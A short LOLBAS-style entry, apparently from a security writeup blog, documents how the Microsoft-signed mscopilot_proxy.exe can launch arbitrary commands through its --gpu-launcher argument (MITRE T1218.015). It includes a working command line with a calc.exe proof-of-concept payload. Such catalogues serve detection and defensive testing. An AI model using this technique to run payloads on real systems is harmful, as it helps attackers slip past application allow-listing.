~/bokkapig
hack the box machine writeups

Mscopilot_proxy.exe

type: OtherMSBinaries
Microsoft Copilot proxy launcher

Full path

C:\Program Files (x86)\Microsoft\Copilot\Application\mscopilot_proxy.exe

Commands

  1. ExecuteUser T1218.015

    Executes a process under a trusted Microsoft signed binary

    mscopilot_proxy.exe --no-startup-window --disable-gpu-sandbox --gpu-launcher="cmd.exe /c calc.exe && taskkill /f /im mscopilot.exe &&"

    mscopilot_proxy.exe will spawn the provided command. Parent mscopilot_proxy.exe process needs to be killed to avoid command being executed an infinite number of times.

    os: Windows 11

    Execute: CMD

Resources

acknowledgement: 4n4s4zi @4n4s4zi